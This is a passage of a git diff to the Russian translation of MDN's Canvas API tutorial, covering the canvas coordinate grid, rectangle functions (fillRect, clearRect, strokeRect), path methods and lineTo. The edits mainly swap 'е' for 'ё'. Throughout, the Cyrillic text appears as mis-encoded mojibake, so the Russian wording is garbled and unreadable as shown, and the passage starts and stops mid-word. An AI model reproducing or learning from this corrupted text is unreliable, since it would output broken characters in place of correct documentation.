ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°.</p>
+<p>ВсС, Ρ‡Ρ‚ΠΎ нарисовано послС создания отсСчённого ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°, появится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ этого ΠΏΡƒΡ‚ΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ это Ρ‡Ρ‘Ρ‚ΠΊΠΎ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΌ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нарисован Π΄Π°Π»Π΅Π΅. ПослС этого набираСтся Π½Π°Π±ΠΎΡ€ ΠΈΠ· 50 случайно располоТСнных ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π·Π²Ρ‘Π·Π΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>drawStar()</code>. Π‘Π½ΠΎΠ²Π° Π·Π²Π΅Π·Π΄Ρ‹ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‚Ρ€Π°Π²ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°.</p>
<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
index 30225ac786..83ef78542a 100644
--- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
@@ -12,11 +12,11 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<h2 id="Π‘Π΅Ρ‚ΠΊΠ°">Π‘Π΅Ρ‚ΠΊΠ°</h2>
-<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΎ сСткС canvas ΠΈΠ»ΠΈ <strong>ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π½ΠΎΠΉ плоскости</strong>. Наш HTML каркас ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ страницы Π²ΠΊΠ»ΡŽΡ‡Π°Π» Π² сСбя элСмСнт canvas 150 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ 150 пиксСлСй Π² высоту. Π‘ΠΏΡ€Π°Π²Π° ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сСткой</span><span>, Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span></span>. <span id="result_box" lang="ru"><span class="hps">ΠžΠ±Ρ‹Ρ‡Π½ΠΎ 1 Π΅Π΄ΠΈΠ½ΠΈΡ†Π°</span> <span class="hps">Π½Π° сСткС соотвСтствуСт</span> <span class="hps">1 пиксСлю Π½Π°</span></span> canvas. <span id="result_box" lang="ru"><span>Начало ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ этой сСтки</span> <span class="hps">располоТСно</span> <em><span class="hps">Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ</span> <span class="hps">ΡƒΠ³Π»Ρƒ</span></em> <span class="hps">Π²</span> <span class="atn hps">ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">ВсС</span> <span class="hps">элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹</span> <span class="hps">ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ</span> <span class="hps">этого</span> <span class="hps">Π½Π°Ρ‡Π°Π»Π°</span><span>. </span><span class="hps">Π’Π°ΠΊ</span>ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, <span class="hps">ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ</span> <span class="hps">Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π°</span> <span class="hps">синСго ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° составляСт</span> <code><em><span class="hps">Ρ…</span></em></code> <span class="hps">пиксСлСй слСва</span><span class="hps"> ΠΈ</span> <code><em><span class="hps">Ρƒ</span></em></code> <span class="hps">пиксСлСй</span> <span class="hps">свСрху,</span> <span class="hps">Π½Π°</span> <span class="hps">ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code><em>(Ρ…</em></code></span><span><code><em>, Ρƒ)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">ПозТС Π²</span> <span class="hps">этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹</span> <span class="hps">ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ</span> <span class="hps">ΠΌΠΎΠΆΠ½ΠΎ</span> <span class="hps">пСрСвСсти</span> <span class="hps">Π½Π°Ρ‡Π°Π»ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚</span> <span class="hps">Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто</span><span>,</span> <span class="hps">Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСтку</span> <span class="hps">ΠΈ Π΄Π°ΠΆΠ΅</span> <span class="hps">ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅</span><span>, Π½ΠΎ сСйчас</span> <span class="hps">ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ</span> <span class="hps">настроСк сСтки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</span></span></p>
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΎ сСткС canvas ΠΈΠ»ΠΈ <strong>ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π½ΠΎΠΉ плоскости</strong>. Наш HTML каркас ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ страницы Π²ΠΊΠ»ΡŽΡ‡Π°Π» Π² сСбя элСмСнт canvas 150 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ 150 пиксСлСй Π² высоту. Π‘ΠΏΡ€Π°Π²Π° ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сСткой</span><span>, Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span></span>. <span id="result_box" lang="ru"><span class="hps">ΠžΠ±Ρ‹Ρ‡Π½ΠΎ 1 Π΅Π΄ΠΈΠ½ΠΈΡ†Π°</span> <span class="hps">Π½Π° сСткС соотвСтствуСт</span> <span class="hps">1 пиксСлю Π½Π°</span></span> canvas. <span id="result_box" lang="ru"><span>Начало ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ этой сСтки</span> <span class="hps">располоТСно</span> <em><span class="hps">Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ</span> <span class="hps">ΡƒΠ³Π»Ρƒ</span></em> <span class="hps">Π²</span> <span class="atn hps">ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">ВсС</span> <span class="hps">элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹</span> <span class="hps">ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ</span> <span class="hps">этого</span> <span class="hps">Π½Π°Ρ‡Π°Π»Π°</span><span>. </span><span class="hps">Π’Π°ΠΊ</span>ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, <span class="hps">ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ</span> <span class="hps">Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π°</span> <span class="hps">синСго ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° составляСт</span> <code><em><span class="hps">Ρ…</span></em></code> <span class="hps">пиксСлСй слСва</span><span class="hps"> ΠΈ</span> <code><em><span class="hps">Ρƒ</span></em></code> <span class="hps">пиксСлСй</span> <span class="hps">свСрху,</span> <span class="hps">Π½Π°</span> <span class="hps">ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code><em>(Ρ…</em></code></span><span><code><em>, Ρƒ)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">ПозТС Π²</span> <span class="hps">этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹</span> <span class="hps">ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ</span> <span class="hps">ΠΌΠΎΠΆΠ½ΠΎ</span> <span class="hps">пСрСвСсти</span> <span class="hps">Π½Π°Ρ‡Π°Π»ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚</span> <span class="hps">Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто</span><span>,</span> <span class="hps">Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСтку</span> <span class="hps">ΠΈ Π΄Π°ΠΆΠ΅</span> <span class="hps">ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘</span><span>, Π½ΠΎ сСйчас</span> <span class="hps">ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ</span> <span class="hps">настроСк сСтки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</span></span></p>
<h2 id="РисованиС_ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ²">РисованиС ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ²</h2>
-<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{Glossary("SVG")}}, {{HTMLElement("canvas")}} ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΡƒΡŽ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ: ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ. ВсС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ созданы ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠ΅ΠΉ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»ΡŒΡˆΠ΅Π³ΠΎΒ ΠΊΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²Π°Β ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² (paths), Π½Π°Π±ΠΎΡ€ΠΎΠΌ Ρ‚ΠΎΡ‡Π΅ΠΊ, соСдинСнных Π² Π»ΠΈΠ½ΠΈΠΈ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽΒ Π² ассортимСнтС рисования ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² Ρƒ нас Π΅ΡΡ‚ΡŒΒ  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ составлСниС ΠΎΡ‡Π΅Π½ΡŒ слоТных Ρ„ΠΈΠ³ΡƒΡ€.</p>
+<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{Glossary("SVG")}}, {{HTMLElement("canvas")}} ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΡƒΡŽ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ: ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ. ВсС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ созданы ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠ΅ΠΉ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»ΡŒΡˆΠ΅Π³ΠΎΒ ΠΊΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²Π°Β ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² (paths), Π½Π°Π±ΠΎΡ€ΠΎΠΌ Ρ‚ΠΎΡ‡Π΅ΠΊ, соСдинённых Π² Π»ΠΈΠ½ΠΈΠΈ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽΒ Π² ассортимСнтС рисования ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² Ρƒ нас Π΅ΡΡ‚ΡŒΒ  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ составлСниС ΠΎΡ‡Π΅Π½ΡŒ слоТных Ρ„ΠΈΠ³ΡƒΡ€.</p>
<p>Π‘Π½Π°Ρ‡Π°Π»Π° рассмотрим ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ. НиТС прСдставлСны Ρ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ рисования ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ² Π² canvas:</p>
@@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<dd>ΠžΡ‡ΠΈΡΡ‚ΠΊΠ°Β  ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠΉ области, дСлая содСрТимоС ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ.</dd>
</dl>
-<p>КаТдая ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ нСсколько ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²:Β </p>
+<p>КаТдая ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ нСсколько ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²:Β </p>
<ul>
<li><em>x</em>,Β <font face="Consolas, Liberation Mono, Courier, monospace"><em>y</em></font>Β ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π² canvas (ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°Ρ‡Π°Π»Π° ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚);</li>
@@ -60,11 +60,11 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
}
}</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Π½ΠΈΠΆΠ΅.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Π½ΠΈΠΆΠ΅.</p>
<p>{{EmbedLiveSample("ΠŸΡ€ΠΈΠΌΠ΅Ρ€_создания_ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹Ρ…_Ρ„ΠΈΠ³ΡƒΡ€", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
-<p>Ѐункция fillRect() рисуСт большой Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ со стороной 100 px. Ѐункция clearRect() Π²Ρ‹Ρ€Π΅Π·Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ 60Ρ…60 ΠΈΠ· Ρ†Π΅Π½Ρ‚Ρ€Π°, Π° функция strokeRect() создаСт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ 50Ρ…50 пиксСлСй Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°.</p>
+<p>Ѐункция fillRect() рисуСт большой Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ со стороной 100 px. Ѐункция clearRect() Π²Ρ‹Ρ€Π΅Π·Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ 60Ρ…60 ΠΈΠ· Ρ†Π΅Π½Ρ‚Ρ€Π°, Π° функция strokeRect() создаёт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ 50Ρ…50 пиксСлСй Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°.</p>
<p>На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉΒ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π΅Β ΠΌΡ‹ рассмотрим Π΄Π²Π΅ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ clearRect(), ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΈ ΡΡ‚ΠΈΠ»ΡŒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€.</p>
@@ -77,7 +77,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Ρ„ΠΈΠ³ΡƒΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Ρ‹ происходит Π² нСсколько Π²Π°ΠΆΠ½Ρ‹Ρ… шагов:</p>
<ol>
- <li>Π‘Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ создаСтС ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</li>
+ <li>Π‘Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ создаётС ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ рисования</a>, рисуСтС ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</li>
<li>ΠŸΠΎΡ‚ΠΎΠΌ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅Β ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</li>
<li>Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ обвСсти ΠΈΠ»ΠΈ Π·Π°Π»ΠΈΡ‚ΡŒ для Π΅Π³ΠΎ отобраТСния.</li>
@@ -87,7 +87,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<dl>
<dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€. ПослС создания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π² дальнСйшСм ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ рисования ΠΏΡ€ΠΈ построСнии ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ².</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€. ПослС создания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π² дальнСйшСм ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ рисования ΠΏΡ€ΠΈ построСнии ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ².</dd>
<dt><a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a></dt>
<dd>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ для установки Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</dd>
<dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
@@ -195,12 +195,12 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<dl>
<dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
- <dd>РисуСт линию с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π΄ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ <code>x ΠΈ y</code>.</dd>
+ <dd>РисуСт линию с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π΄ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ <code>x ΠΈ y</code>.</dd>
</dl>
<p><span id="result_box" lang="ru"><span class="hps">Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚</span> <span class="hps">Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°</span> </span><code><em>x</em><span lang="ru"><span class="hps"> ΠΈ </span></span><em>y</em></code><span lang="ru"><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ</span> <span class="hps">ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ</span> <span class="hps">Ρ‚ΠΎΡ‡ΠΊΠΈ Π»ΠΈΠ½ΠΈΠΈ</span><span>.</span></span> <span id="result_box" lang="ru"><span>ΠΠ°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° зависит</span> <span class="hps">ΠΎΡ‚</span> <span class="hps">Ρ€Π°Π½Π΅Π΅</span> <span class="hps">нарисованных ΠΏΡƒΡ‚Π΅ΠΉ, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ</span> <span class="hps">конСчная Ρ‚ΠΎΡ‡ΠΊΠ°</span> <span class="hps">ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ являСтся</span> Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ <span class="hps">Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ</span> <span class="hps">ΠΈ Ρ‚. Π΄.</span> <span class="hps">ΠΠ°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° 